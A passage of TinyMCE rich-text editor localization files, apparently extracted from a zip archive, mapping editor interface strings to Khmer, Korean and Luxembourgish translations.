\u179c\u17b8\u178a\u17c1\u17a2\u17bc",
"Poster":
"\u17a2\u17d2\u1793\u1780\u200b\u1795\u17d2\u179f\u17b6\u1799",
"Alternative source":
"\u1794\u17d2\u179a\u1797\u1796\u200b\u178a\u1791\u17c3\u200b\u1791\u17c0\u178f",
"Paste your embed code below:":
"\u1794\u17b7\u1791\u200b\u1797\u17d2\u1787\u17b6\u1794\u17cb\u200b\u1780\u17bc\u178a\u200b\u1794\u1784\u17d2\u1780\u1794\u17cb\u200b\u1793\u17c5\u200b\u1781\u17b6\u1784\u200b\u1780\u17d2\u179a\u17c4\u1798:",
"Insert video":
"\u1794\u1789\u17d2\u1785\u17bc\u179b\u200b\u179c\u17b8\u178a\u17c1\u17a2\u17bc",
"Embed": "\u1794\u1784\u17d2\u1780\u1794\u17cb",
"Nonbreaking space":
"\u178a\u17c6\u178e\u1780\u200b\u1783\u17d2\u179b\u17b6\u200b\u1798\u17b7\u1793\u200b\u1794\u17c6\u1794\u17c2\u1780",
"Page break":
"\u1794\u17c6\u1794\u17c2\u1780\u200b\u1791\u17c6\u1796\u17d0\u179a",
"Paste as text":
"\u1794\u17b7\u1791\u200b\u1797\u17d2\u1787\u17b6\u1794\u17cb\u200b\u1787\u17b6\u200b\u17a2\u1780\u17d2\u179f\u179a",
"Preview":
"\u1798\u17be\u179b\u200b\u1787\u17b6\u200b\u1798\u17bb\u1793",
"Print":
"\u1794\u17c4\u17c7\u200b\u1796\u17bb\u1798\u17d2\u1796",
"Save":
"\u179a\u1780\u17d2\u179f\u17b6\u200b\u1791\u17bb\u1780",
"Could not find the specified string.":
"\u1798\u17b7\u1793\u200b\u17a2\u17b6\u1785\u200b\u179a\u1780\u200b\u1783\u17be\u1789\u200b\u1781\u17d2\u179f\u17c2\u200b\u17a2\u1780\u17d2\u179f\u179a\u200b\u178a\u17c2\u179b\u200b\u1794\u17b6\u1793\u200b\u1780\u17c6\u178e\u178f\u17cb\u17d4",
"Replace": "\u1787\u17c6\u1793\u17bd\u179f",
"Next": "\u1798\u17bb\u1781",
"Whole words":
"\u1796\u17b6\u1780\u17d2\u1799\u200b\u1791\u17b6\u17c6\u1784\u200b\u1798\u17bc\u179b",
"Find and replace":
"\u179f\u17d2\u179c\u17c2\u1784\u200b\u179a\u1780\u200b\u1793\u17b7\u1784\u200b\u1787\u17c6\u1793\u17bd\u179f",
"Replace with":
"\u1787\u17c6\u1793\u17bd\u179f\u200b\u178a\u17c4\u1799",
"Find":
"\u179f\u17d2\u179c\u17c2\u1784\u200b\u179a\u1780",
"Replace all":
"\u1787\u17c6\u1793\u17bd\u179f\u200b\u1791\u17b6\u17c6\u1784\u200b\u17a2\u179f\u17cb",
"Match case":
"\u1780\u179a\u178e\u17b8\u200b\u178a\u17c6\u178e\u17bc\u1785",
"Prev": "\u1780\u17d2\u179a\u17c4\u1799",
"Spellcheck":
"\u1796\u17b7\u1793\u17b7\u178f\u17d2\u1799\u200b\u17a2\u1780\u17d2\u1781\u179a\u17b6\u179c\u17b7\u179a\u17bb\u1791\u17d2\u1792",
"Finish": "\u1794\u1789\u17d2\u1785\u1794\u17cb",
"Ignore all":
"\u1798\u17b7\u1793\u200b\u17a2\u17be\u1796\u17be\u200b\u1791\u17b6\u17c6\u1784\u200b\u17a2\u179f\u17cb",
"Ignore":
"\u1798\u17b7\u1793\u200b\u17a2\u17be\u200b\u1796\u17be",
"Add to Dictionary":
"\u1794\u1793\u17d2\u1790\u17c2\u1798\u200b\u1791\u17c5\u200b\u179c\u1785\u1793\u17b6\u1793\u17bb\u1780\u17d2\u179a\u1798",
"Insert row before":
"\u1794\u1789\u17d2\u1785\u17bc\u179b\u200b\u1788\u17bd\u179a\u200b\u178a\u17c1\u1780\u200b\u1796\u17b8\u200b\u1798\u17bb\u1781",
"Rows": "\u1787\u17bd\u179a\u200b\u178a\u17c1\u1780",
"Height": "\u1780\u1798\u17d2\u1796\u179f\u17cb",
"Paste row after":
"\u1794\u17b7\u1791\u200b\u1797\u17d2\u1787\u17b6\u1794\u17cb\u200b\u1787\u17bd\u179a\u200b\u178a\u17c1\u1780\u200b\u1796\u17b8\u200b\u1780\u17d2\u179a\u17c4\u1799",
"Alignment":
"\u1780\u17b6\u179a\u200b\u178f\u1798\u17d2\u179a\u17b9\u1798",
"Border color":
"\u1796\u178e\u17cc\u200b\u179f\u17ca\u17bb\u1798",
"Column group":
"\u1780\u17d2\u179a\u17bb\u1798\u200b\u1787\u17bd\u179a\u200b\u1788\u179a",
"Row": "\u1787\u17bd\u179a\u200b\u178a\u17c1\u1780",
"Insert column before":
"\u1794\u1789\u17d2\u1785\u17bc\u179b\u200b\u1787\u17bd\u179a\u200b\u1788\u179a\u200b\u1796\u17b8\u200b\u1798\u17bb\u1781",
"Split cell":
"\u1789\u17c2\u1780\u200b\u1780\u17d2\u179a\u17a1\u17b6",
"Cell padding":
"\u1785\u1793\u17d2\u179b\u17c4\u17c7\u200b\u1780\u17d2\u179a\u17a1\u17b6",
"Cell spacing":
"\u1782\u1798\u17d2\u179b\u17b6\u178f\u200b\u1780\u17d2\u179a\u17a1\u17b6",
"Row type":
"\u1794\u17d2\u179a\u1797\u17c1\u1791\u200b\u1787\u17bd\u179a\u200b\u178a\u17c1\u1780",
"Insert table":
"\u1794\u1789\u17d2\u1785\u17bc\u179b\u200b\u178f\u17b6\u179a\u17b6\u1784",
"Body":
"\u178f\u17bd\u200b\u179f\u17c1\u1785\u1780\u17d2\u178a\u17b8",
"Caption":
"\u1785\u17c6\u178e\u1784\u200b\u1787\u17be\u1784",
"Footer": "\u1794\u178b\u1798\u200b\u1780\u1790\u17b6",
"Delete row":
"\u179b\u17bb\u1794\u200b\u1787\u17bd\u179a\u200b\u178a\u17c1\u1780",
"Paste row before":
"\u1794\u17b7\u1791\u200b\u1797\u17d2\u1787\u17b6\u1794\u17cb\u200b\u1787\u17bd\u179a\u200b\u178a\u17c1\u1780\u200b\u1796\u17b8\u200b\u1798\u17bb\u1781",
"Scope":
"\u179c\u17b7\u179f\u17b6\u179b\u200b\u1797\u17b6\u1796",
"Delete table":
"\u179b\u17bb\u1794\u200b\u178f\u17b6\u179a\u17b6\u1784",
"H Align":
"\u1780\u17b6\u179a\u200b\u178f\u1798\u17d2\u179a\u17b9\u1798\u200b\u1795\u17d2\u178a\u17c1\u1780",
"Top": "\u179b\u17be",
"Header cell":
"\u1780\u17d2\u179a\u17a1\u17b6\u200b\u1785\u17c6\u178e\u1784\u200b\u1787\u17be\u1784",
"Column": "\u1787\u17bd\u179a\u200b\u1788\u179a",
"Row group":
"\u1780\u17d2\u179a\u17bb\u1798\u200b\u1787\u17bd\u179a\u200b\u178a\u17c1\u1780",
"Cell": "\u1780\u17d2\u179a\u17a1\u17b6",
"Middle": "\u1780\u178e\u17d2\u178a\u17b6\u179b",
"Cell type":
"\u1794\u17d2\u179a\u1797\u17c1\u1791\u200b\u1780\u17d2\u179a\u17a1\u17b6",
"Copy row":
"\u1785\u1798\u17d2\u179b\u1784\u200b\u1787\u17bd\u179a\u200b\u178a\u17c1\u1780",
"Row properties":
"\u179b\u1780\u17d2\u1781\u178e\u17c8\u200b\u1787\u17bd\u179a\u200b\u178a\u17c1\u1780",
"Table properties":
"\u179b\u1780\u17d2\u1781\u178e\u17c8\u200b\u178f\u17b6\u179a\u17b6\u1784",
"Bottom": "\u1780\u17d2\u179a\u17c4\u1798",
"V Align":
"\u1780\u17b6\u179a\u200b\u178f\u1798\u17d2\u179a\u17b9\u1798\u200b\u1794\u1789\u17d2\u1788\u179a",
"Header":
"\u1785\u17c6\u178e\u1784\u200b\u1787\u17be\u1784",
"Right": "\u179f\u17d2\u178a\u17b6\u17c6",
"Insert column after":
"\u1794\u1789\u17d2\u1787\u17bc\u179b\u200b\u1787\u17bd\u179a\u200b\u178a\u17c1\u1780\u200b\u1796\u17b8\u200b\u1780\u17d2\u179a\u17c4\u1799",
"Cols": "\u1787\u17bd\u179a\u200b\u1788\u179a",
"Insert row after":
"\u1794\u1789\u17d2\u1785\u17bc\u179b\u200b\u1787\u17bd\u179a\u200b\u178a\u17c1\u1780\u200b\u1796\u17b8\u200b\u1780\u17d2\u179a\u17c4\u1799",
"Width": "\u1791\u1791\u17b9\u1784",
"Cell properties":
"\u179b\u1780\u17d2\u1781\u178e\u17c8\u200b\u1780\u17d2\u179a\u17a1\u17b6",
"Left": "\u1786\u17d2\u179c\u17c1\u1784",
"Cut row":
"\u1780\u17b6\u178f\u17cb\u200b\u1787\u17bd\u179a\u200b\u178a\u17c1\u1780",
"Delete column":
"\u179b\u17bb\u1794\u200b\u1787\u17bd\u179a\u200b\u1788\u179a",
"Center": "\u1780\u178e\u17d2\u178a\u17b6\u179b",
"Merge cells":
"\u1794\u1789\u17d2\u1785\u17bc\u179b\u200b\u1780\u17d2\u179a\u17a1\u17b6\u200b\u1785\u17bc\u179b\u200b\u1782\u17d2\u1793\u17b6",
"Insert template":
"\u1794\u1789\u17d2\u1785\u17bc\u179b\u200b\u1796\u17bb\u1798\u17d2\u1796\u200b\u1782\u1798\u17d2\u179a\u17bc",
"Templates":
"\u1796\u17bb\u1798\u17d2\u1796\u200b\u1782\u1798\u17d2\u179a\u17bc",
"Background color":
"\u1796\u178e\u17cc\u200b\u1795\u17d2\u1791\u17c3\u200b\u1780\u17d2\u179a\u17c4\u1799",
"Custom...":
"\u1795\u17d2\u1791\u17b6\u179b\u17cb\u200b\u1781\u17d2\u179b\u17bd\u1793...",
"Custom color":
"\u1796\u178e\u17cc\u200b\u1795\u17d2\u1791\u17b6\u179b\u17cb\u200b\u1781\u17d2\u179b\u17bd\u1793",
"No color":
"\u1782\u17d2\u1798\u17b6\u1793\u200b\u1796\u178e\u17cc",
"Text color":
"\u1796\u178e\u17cc\u200b\u17a2\u1780\u17d2\u179f\u179a",
"Show blocks":
"\u1794\u1784\u17d2\u17a0\u17b6\u1789\u200b\u1794\u17d2\u179b\u17bb\u1780",
"Show invisible characters":
"\u1794\u1784\u17d2\u17a0\u17b6\u1789\u200b\u178f\u17bd\u200b\u17a2\u1780\u17d2\u179f\u179a\u200b\u1780\u17c6\u1794\u17b6\u17c6\u1784",
"Words: {0}": "\u1796\u17b6\u1780\u17d2\u1799: {0}",
"Insert": "\u1794\u1789\u17d2\u1785\u17bc\u179b",
"File": "\u17af\u1780\u179f\u17b6\u179a",
"Edit": "\u1780\u17c2\u1794\u17d2\u179a\u17c2",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar.
Press ALT-0 for help":
"\u1791\u17b8\u178f\u17b6\u17c6\u1784\u200b\u17a2\u1780\u17d2\u179f\u179a\u200b\u179f\u17c6\u1794\u17bc\u179a\u1794\u17c2\u1794\u17d4
\u1785\u17bb\u1785 ALT-F9
\u179f\u1798\u17d2\u179a\u17b6\u1794\u17cb\u200b\u1798\u17c9\u17ba\u1793\u17bb\u1799\u17d4
\u1785\u17bb\u1785 ALT-F10
\u179f\u1798\u17d2\u179a\u17b6\u1794\u17cb\u200b\u179a\u1794\u17b6\u179a\u200b\u17a7\u1794\u1780\u179a\u178e\u17cd\u17d4
\u1785\u17bb\u1785 ALT-0
\u179f\u1798\u17d2\u179a\u17b6\u1794\u17cb\u200b\u1787\u17c6\u1793\u17bd\u1799\u17d4",
"Tools": "\u17a7\u1794\u1780\u179a\u178e\u17cd",
"View":
"\u1791\u17b7\u178a\u17d2\u178b\u1797\u17b6\u1796",
"Table": "\u178f\u17b6\u179a\u17b6\u1784",
"Format": "\u1791\u1798\u17d2\u179a\u1784\u17cb"
});PKR��[8KM�� �
tinymce/langs/ko.jsnu�[���tinymce.addI18n('ko',{
"Cut": "\uc798\ub77c\ub0b4\uae30",
"Header 2": "\uc81c\ubaa9 2",
"Your browser doesn't support direct access to the clipboard.
Please use the Ctrl+X\/C\/V keyboard shortcuts instead.":
"\ube0c\ub77c\uc6b0\uc838\uac00 \ud074\ub9bd\ubcf4\ub4dc
\uc811\uadfc\uc744 \ud5c8\uc6a9\ud558\uc9c0 \uc54a\uc2b5\ub2c8\ub2e4.
Ctrl+X\/C\/V \ud0a4\ub97c \uc774\uc6a9\ud574 \uc8fc\uc138\uc694.",
"Div": "\uad6c\ubd84",
"Paste": "\ubd99\uc5ec\ub123\uae30",
"Close": "\ub2eb\uae30",
"Font Family": "Font Family",
"Pre": "Pre",
"Align right": "\uc624\ub978\ucabd\uc815\ub82c",
"New document": "\uc0c8 \ubb38\uc11c",
"Blockquote": "\uad6c\ud68d",
"Numbered list": "\uc22b\uc790\ub9ac\uc2a4\ud2b8",
"Increase indent": "\ub4e4\uc5ec\uc4f0\uae30",
"Formats": "\ud3ec\ub9f7",
"Headers": "\uc2a4\ud0c0\uc77c",
"Select all": "\uc804\uccb4\uc120\ud0dd",
"Header 3": "\uc81c\ubaa9 3",
"Blocks": "\ube14\ub85d \uc124\uc815",
"Undo": "\uc2e4\ud589\ucde8\uc18c",
"Strikethrough": "\ucde8\uc18c\uc120",
"Bullet list": "\uc810\ub9ac\uc2a4\ud2b8",
"Header 1": "\uc81c\ubaa9 1",
"Superscript": "\uc717\ucca8\uc790",
"Clear formatting": "\ud3ec\ub9f7\ucd08\uae30\ud654",
"Font Sizes": "Font Sizes",
"Subscript": "\uc544\ub798\ucca8\uc790",
"Header 6": "\uc81c\ubaa9 6",
"Redo": "\ub2e4\uc2dc\uc2e4\ud589",
"Paragraph": "\ub2e8\ub77d",
"Ok": "\ud655\uc778",
"Bold": "\uad75\uac8c",
"Code": "\ucf54\ub4dc",
"Italic": "\uae30\uc6b8\uc784\uaf34",
"Align center": "\uac00\uc6b4\ub370\uc815\ub82c",
"Header 5": "\uc81c\ubaa9 5",
"Decrease indent": "\ub0b4\uc5b4\uc4f0\uae30",
"Header 4": "\uc81c\ubaa9 4",
"Paste is now in plain text mode. Contents will now be pasted as plain
text until you toggle this option off.":
"\uc2a4\ud0c0\uc77c\ubcf5\uc0ac \ub044\uae30. \uc774
\uc635\uc158\uc744 \ub044\uae30 \uc804\uc5d0\ub294 \ubcf5\uc0ac \uc2dc,
\uc2a4\ud0c0\uc77c\uc774 \ubcf5\uc0ac\ub418\uc9c0
\uc54a\uc2b5\ub2c8\ub2e4.",
"Underline": "\ubc11\uc904",
"Cancel": "\ucde8\uc18c",
"Justify": "\uc591\ucabd\uc815\ub82c",
"Inline": "\ub77c\uc778 \uc124\uc815",
"Copy": "\ubcf5\uc0ac\ud558\uae30",
"Align left": "\uc67c\ucabd\uc815\ub82c",
"Visual aids": "\uc2dc\uac01\uad50\uc7ac",
"Lower Greek": "\uadf8\ub9ac\uc2a4\uc5b4
\uc18c\ubb38\uc790",
"Square": "\uc0ac\uac01",
"Default": "\uae30\ubcf8",
"Lower Alpha": "\uc54c\ud30c\ubcb3 \uc18c\ubb38\uc790",
"Circle": "\uc6d0",
"Disc": "\uc6d0\ubc18",
"Upper Alpha": "\uc54c\ud30c\ubcb3 \uc18c\ubb38\uc790",
"Upper Roman": "\ub85c\ub9c8\uc790 \ub300\ubb38\uc790",
"Lower Roman": "\ub85c\ub9c8\uc790 \uc18c\ubb38\uc790",
"Name": "\uc774\ub984",
"Anchor": "\uc575\ucee4",
"You have unsaved changes are you sure you want to navigate
away?": "\uc800\uc7a5\ud558\uc9c0 \uc54a\uc740 \uc815\ubcf4\uac00
\uc788\uc2b5\ub2c8\ub2e4. \uc774 \ud398\uc774\uc9c0\ub97c
\ubc97\uc5b4\ub098\uc2dc\uaca0\uc2b5\ub2c8\uae4c?",
"Restore last draft": "\ub9c8\uc9c0\ub9c9 \ucd08\uc548
\ubcf5\uc6d0",
"Special character": "\ud2b9\uc218\ubb38\uc790",
"Source code": "\uc18c\uc2a4\ucf54\ub4dc",
"Right to left": "\uc624\ub978\ucabd\uc5d0\uc11c
\uc67c\ucabd",
"Left to right": "\uc67c\ucabd\uc5d0\uc11c
\uc624\ub978\ucabd",
"Emoticons": "\uc774\ubaa8\ud2f0\ucf58",
"Robots": "\ub85c\ubd07",
"Document properties": "\ubb38\uc11c \uc18d\uc131",
"Title": "\uc81c\ubaa9",
"Keywords": "\ud0a4\uc6cc\ub4dc",
"Encoding": "\uc778\ucf54\ub529",
"Description": "\uc124\uba85",
"Author": "\uc800\uc790",
"Fullscreen": "\uc804\uccb4\ud654\uba74",
"Horizontal line": "\uac00\ub85c",
"Horizontal space": "\uc218\ud3c9 \uacf5\ubc31",
"Insert\/edit image": "\uc774\ubbf8\uc9c0
\uc0bd\uc785\/\uc218\uc815",
"General": "\uc77c\ubc18",
"Advanced": "\uace0\uae09",
"Source": "\uc18c\uc2a4",
"Border": "\ud14c\ub450\ub9ac",
"Constrain proportions": "\uc791\uc5c5 \uc81c\ud55c",
"Vertical space": "\uc218\uc9c1 \uacf5\ubc31",
"Image description": "\uc774\ubbf8\uc9c0 \uc124\uba85",
"Style": "\uc2a4\ud0c0\uc77c",
"Dimensions": "\ud06c\uae30",
"Insert image": "\uc774\ubbf8\uc9c0 \uc0bd\uc785",
"Insert date\/time":
"\ub0a0\uc9dc\/\uc2dc\uac04\uc0bd\uc785",
"Remove link": "\ub9c1\ud06c\uc0ad\uc81c",
"Url": "\uc8fc\uc18c",
"Text to display": "\ubcf8\ubb38",
"Anchors": "\ucc45\uac08\ud53c",
"Insert link": "\ub9c1\ud06c \uc0bd\uc785 ",
"New window": "\uc0c8\ucc3d",
"None": "\uc5c6\uc74c",
"The URL you entered seems to be an external link. Do you want to add
the required http:\/\/ prefix?": "The URL you entered seems to be
an external link. Do you want to add the required http:\/\/ prefix?",
"Target": "\ub300\uc0c1",
"The URL you entered seems to be an email address. Do you want to add
the required mailto: prefix?": "The URL you entered seems to be
an email address. Do you want to add the required mailto: prefix?",
"Insert\/edit link": "\ub9c1\ud06c
\uc0bd\uc785\/\uc218\uc815",
"Insert\/edit video": "\ube44\ub514\uc624
\uc0bd\uc785\/\uc218\uc815",
"Poster": "\ud3ec\uc2a4\ud130",
"Alternative source": "\ub300\uccb4 \uc18c\uc2a4",
"Paste your embed code below:": "\uc544\ub798\uc5d0
\ucf54\ub4dc\ub97c \ubd99\uc5ec\ub123\uc73c\uc138\uc694:",
"Insert video": "\ube44\ub514\uc624 \uc0bd\uc785",
"Embed": "\uc0bd\uc785",
"Nonbreaking space": "\ub744\uc5b4\uc4f0\uae30",
"Page break": "\ud398\uc774\uc9c0 \uad6c\ubd84\uc790",
"Paste as text": "\ud14d\uc2a4\ud2b8\ub85c
\ubd99\uc5ec\ub123\uae30",
"Preview": "\ubbf8\ub9ac\ubcf4\uae30",
"Print": "\ucd9c\ub825",
"Save": "\uc800\uc7a5",
"Could not find the specified string.": "\ubb38\uc790\ub97c
\ucc3e\uc744 \uc218 \uc5c6\uc2b5\ub2c8\ub2e4.",
"Replace": "\uad50\uccb4",
"Next": "\ub2e4\uc74c",
"Whole words": "\uc804\uccb4 \ub2e8\uc5b4",
"Find and replace": "\ucc3e\uc544\uc11c \uad50\uccb4",
"Replace with": "\uad50\uccb4",
"Find": "\ucc3e\uae30",
"Replace all": "\uc804\uccb4 \uad50\uccb4",
"Match case": "\ub300\uc18c\ubb38\uc790 \uc77c\uce58",
"Prev": "\uc774\uc804",
"Spellcheck": "\ubb38\ubc95\uccb4\ud06c",
"Finish": "\uc644\ub8cc",
"Ignore all": "\uc804\uccb4\ubb34\uc2dc",
"Ignore": "\ubb34\uc2dc",
"Insert row before": "\uc774\uc804\uc5d0 \ud589
\uc0bd\uc785",
"Rows": "\ud589",
"Height": "\ub192\uc774",
"Paste row after": "\ub2e4\uc74c\uc5d0 \ud589
\ubd99\uc5ec\ub123\uae30",
"Alignment": "\uc815\ub82c",
"Column group": "\uc5f4 \uadf8\ub8f9",
"Row": "\uc5f4",
"Insert column before": "\uc774\uc804\uc5d0 \ud589
\uc0bd\uc785",
"Split cell": "\uc140 \ub098\ub204\uae30",
"Cell padding": "\uc140 \uc548\ucabd \uc5ec\ubc31",
"Cell spacing": "\uc140 \uac04\uaca9",
"Row type": "\ud589 \ud0c0\uc785",
"Insert table": "\ud14c\uc774\ube14 \uc0bd\uc785",
"Body": "\ubc14\ub514",
"Caption": "\ucea1\uc158",
"Footer": "\ud478\ud130",
"Delete row": "\ud589 \uc9c0\uc6b0\uae30",
"Paste row before": "\uc774\uc804\uc5d0 \ud589
\ubd99\uc5ec\ub123\uae30",
"Scope": "\ubc94\uc704",
"Delete table": "\ud14c\uc774\ube14 \uc0ad\uc81c",
"Header cell": "\ud5e4\ub354 \uc140",
"Column": "\ud589",
"Cell": "\uc140",
"Header": "\ud5e4\ub354",
"Cell type": "\uc140 \ud0c0\uc785",
"Copy row": "\ud589 \ubcf5\uc0ac",
"Row properties": "\ud589 \uc18d\uc131",
"Table properties": "\ud14c\uc774\ube14 \uc18d\uc131",
"Row group": "\ud589 \uadf8\ub8f9",
"Right": "\uc624\ub978\ucabd",
"Insert column after": "\ub2e4\uc74c\uc5d0 \uc5f4
\uc0bd\uc785",
"Cols": "\uc5f4",
"Insert row after": "\ub2e4\uc74c\uc5d0 \ud589
\uc0bd\uc785",
"Width": "\ub113\uc774",
"Cell properties": "\uc140 \uc18d",
"Left": "\uc67c\ucabd",
"Cut row": "\ud589 \uc798\ub77c\ub0b4\uae30",
"Delete column": "\uc5f4 \uc9c0\uc6b0\uae30",
"Center": "\uac00\uc6b4\ub370",
"Merge cells": "\uc140 \ud569\uce58\uae30",
"Insert template": "\ud15c\ud50c\ub9bf \uc0bd\uc785",
"Templates": "\ud15c\ud50c\ub9bf",
"Background color": "\ubc30\uacbd\uc0c9",
"Text color": "\ubb38\uc790 \uc0c9\uae54",
"Show blocks": "\ube14\ub7ed \ubcf4\uc5ec\uc8fc\uae30",
"Show invisible characters": "\uc548\ubcf4\uc774\ub294
\ubb38\uc790 \ubcf4\uc774\uae30",
"Words: {0}": "\ub2e8\uc5b4: {0}",
"Insert": "\uc0bd\uc785",
"File": "\ud30c\uc77c",
"Edit": "\uc218\uc815",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar.
Press ALT-0 for help": "\uc11c\uc2dd \uc788\ub294
\ud14d\uc2a4\ud2b8 \ud3b8\uc9d1\uae30 \uc785\ub2c8\ub2e4. ALT-F9\ub97c
\ub204\ub974\uba74 \uba54\ub274, ALT-F10\ub97c \ub204\ub974\uba74
\ud234\ubc14, ALT-0\uc744 \ub204\ub974\uba74 \ub3c4\uc6c0\ub9d0\uc744
\ubcfc \uc218 \uc788\uc2b5\ub2c8\ub2e4.",
"Tools": "\ub3c4\uad6c",
"View": "\ubcf4\uae30",
"Table": "\ud14c\uc774\ube14",
"Format": "\ud3ec\ub9f7"
});PKR��[os���tinymce/langs/lb.jsnu�[���tinymce.addI18n('lb',{
"Cut": "Ausschneiden",
"Header 2": "Titel 2",
"Your browser doesn't support direct access to the clipboard.
Please use the Ctrl+X\/C\/V keyboard shortcuts instead.":
"D\u00e4i Web-Browser \u00ebnnerst\u00ebtzt keen direkten Acc\u00e8s
op d'Zw\u00ebschenaplag. Benotz w.e.gl. CTRL+C fir den ausgewielten
Text ze kop\u00e9ieren an CTRL+V fir en anzepechen.",
"Div": "DIV",
"Paste": "Apechen",
"Close": "Zoumaachen",
"Font Family": "Schr\u00ebft-Famill",
"Pre": "PRE",
"Align right": "Riets align\u00e9iert",
"New document": "Neit Dokument",
"Blockquote": "Zitat",
"Numbered list": "Nummer\u00e9iert L\u00ebscht",
"Increase indent": "Ident\u00e9ierung
vergr\u00e9isseren",
"Formats": "Formater",
"Headers": "Titelen",
"Select all": "Alles auswielen",
"Header 3": "Titel 3",
"Blocks": "Bl\u00e9ck",
"Undo": "R\u00e9ckg\u00e4ngeg maachen",
"Strikethrough": "Duerchgestrach",
"Bullet list": "Opzielung",
"Header 1": "Titel 1",
"Superscript": "H\u00e9ichgestallt",
"Clear formatting": "Format\u00e9ierung l\u00e4schen",
"Font Sizes": "Schr\u00ebft-Gr\u00e9issten",
"Subscript": "Erofgestallt",
"Header 6": "Titel 6",
"Redo": "Widderhuelen",
"Paragraph": "Paragraph",
"Ok": "Okee",
"Bold": "Fett",
"Code": "CODE",
"Italic": "Kursiv",
"Align center": "Zentr\u00e9iert",
"Header 5": "Titel 5",
"Decrease indent": "Ident\u00e9ierung verklengeren",
"Header 4": "Titel 4",
"Paste is now in plain text mode. Contents will now be pasted as plain
text until you toggle this option off.": "\"Apechen\"
ass elo am Textmodus. Inhalter ginn elo ouni Format\u00e9ierungen agepecht
bis du d\u00ebs Optioun ausm\u00e9chs.",
"Underline": "\u00cbnnerstrach",
"Cancel": "Ofbriechen",
"Justify": "Blocksaz",
"Inline": "Inline",
"Copy": "Kop\u00e9ieren",
"Align left": "L\u00e9nks align\u00e9iert",
"Visual aids": "Visuell H\u00ebllefen",
"Lower Greek": "Klengt griichescht Alphabet",
"Square": "Quadrat",
"Default": "Standard",
"Lower Alpha": "Klengt Alphabet",
"Circle": "Krees",
"Disc": "Scheif",
"Upper Alpha": "Grousst Alphabet",
"Upper Roman": "Grousst r\u00e9imescht Alphabet",
"Lower Roman": "Klengt r\u00e9imescht Alphabet",
"Name": "Numm",
"Anchor": "Anker",
"You have unsaved changes are you sure you want to navigate
away?": "Du hues ongesp\u00e4ichert \u00c4nnerungen. W\u00eblls
du s\u00e9cher ewechnavig\u00e9ieren?",
"Restore last draft": "Leschten Entworf er\u00ebm
zr\u00e9cksetzen",
"Special character": "Speziell Zeechen",
"Source code": "Quelltext",
"Right to left": "Vu riets no l\u00e9nks",
"Left to right": "Vu l\u00e9nks no riets",
"Emoticons": "Smileyen",
"Robots": "Robotter",
"Document properties": "Eegeschafte vum Dokument",
"Title": "Titel",
"Keywords": "Schl\u00ebsselwierder",
"Encoding": "Cod\u00e9ierung",
"Description": "Beschreiwung",
"Author": "Auteur",
"Fullscreen": "Vollbildschierm",
"Horizontal line": "Horizontal Linn",
"Horizontal space": "Horizontalen Espace",
"Insert\/edit image": "Bild af\u00fcgen\/\u00e4nneren",
"General": "Allgemeng",
"Advanced": "Erweidert",
"Source": "Quell",
"Border": "Rand",
"Constrain proportions": "Proportioune
b\u00e4ibehalen",
"Vertical space": "Vertikalen Espace",
"Image description": "Bildbeschreiwung",
"Style": "Stil",
"Dimensions": "Dimensiounen",
"Insert image": "Bild af\u00fcgen",
"Insert date\/time": "Datum\/Z\u00e4it drasetzen",
"Remove link": "Link l\u00e4schen",
"Url": "URL",
"Text to display": "Text deen unzeweisen ass",
"Anchors": "Ankeren",
"Insert link": "Link drasetzen",
"New window": "Nei F\u00ebnster",
"None": "Keen",
"The URL you entered seems to be an external link. Do you want to add
the required http:\/\/ prefix?": "D'URL d\u00e9i s du aginn
hues sch\u00e9ngt en externe Link ze sinn. W\u00eblls du den
\"http:\/\/\"-Pr\u00e4fix dob\u00e4isetzen?",
"Target": "Zil",
"The URL you entered seems to be an email address. Do you want to add
the required mailto: prefix?": "D'URL d\u00e9i s du aginn
hues sch\u00e9ngt eng Email-Adress ze sinn. W\u00eblls du de
\"mailto:\"-Pr\u00e4fix dob\u00e4isetzen?",
"Insert\/edit link": "Link drasetzen\/\u00e4nneren",
"Insert\/edit video": "Video drasetzen\/\u00e4nneren",
"Poster": "Pouster",
"Alternative source": "Alternativ Quell",
"Paste your embed code below:": "Abannungscode hei
apechen:",
"Insert video": "Video drasetzen",
"Embed": "Abannen",
"Nonbreaking space": "Net\u00ebmbriechenden Espace",
"Page break": "S\u00e4iten\u00ebmbroch",
"Paste as text": "Als Text apechen",
"Preview": "Kucken",
"Print": "Dr\u00e9cken",
"Save": "Sp\u00e4icheren",
"Could not find the specified string.": "Den Text konnt net
fonnt ginn.",
"Replace": "Ersetzen",
"Next": "Weider",
"Whole words": "Ganz Wierder",
"Find and replace": "Fannen an ersetzen",
"Replace with": "Ersetze mat",
"Find": "Fannen",
"Replace all": "All ersetzen",
"Match case": "Grouss-\/Klengschreiwung
respekt\u00e9ieren",
"Prev": "Zr\u00e9ck",
"Spellcheck": "Verbesseren",
"Finish": "Ofschl\u00e9issen",
"Ignore all": "All ignor\u00e9ieren",
"Ignore": "Ignor\u00e9ieren",
"Insert row before": "Rei virdrun drasetzen",
"Rows": "Reien",
"Height": "H\u00e9icht",
"Paste row after": "Rei herno apechen",
"Alignment": "Align\u00e9ierung",
"Column group": "Kolonnegrupp",
"Row": "Rei",
"Insert column before": "Kolonn virdrun drasetzen",
"Split cell": "Zell opspl\u00e9cken",
"Cell padding": "Zellenopf\u00ebllung",
"Cell spacing": "Zellenofstand",
"Row type": "Reientyp",
"Insert table": "Tabell drasetzen",
"Body": "Kierper",
"Caption": "Beschr\u00ebftung",
"Footer": "Fouss",
"Delete row": "Rei l\u00e4schen",
"Paste row before": "Rei virdrun apechen",
"Scope": "Ber\u00e4ich",
"Delete table": "Tabell l\u00e4schen",
"Header cell": "Kappzell",
"Column": "Kolonn",
"Cell": "Zell",
"Header": "Kapp",
"Cell type": "Zellentyp",
"Copy row": "Rei kop\u00e9ieren",
"Row properties": "Eegeschafte vu Reien",
"Table properties": "Eegeschafte vun Tabellen",
"Row group": "Reiegrupp",
"Right": "Riets",
"Insert column after": "Kolonn herno drasetzen",
"Cols": "Kolonnen",
"Insert row after": "Rei herno drasetzen",
"Width": "Breet",
"Cell properties": "Eegeschafte vun Zellen",
"Left": "L\u00e9nks",
"Cut row": "Rei ausschneiden",
"Delete column": "Kolonn l\u00e4schen",
"Center": "M\u00ebtt",
"Merge cells": "Zelle fusion\u00e9ieren",
"Insert template": "Virlag drasetzen",
"Templates": "Virlagen",
"Background color": "Hanndergrondfaarf",
"Text color": "Textfaarf",
"Show blocks": "Bl\u00e9ck weisen",
"Show invisible characters": "Onsiichtbar Zeeche
weisen",
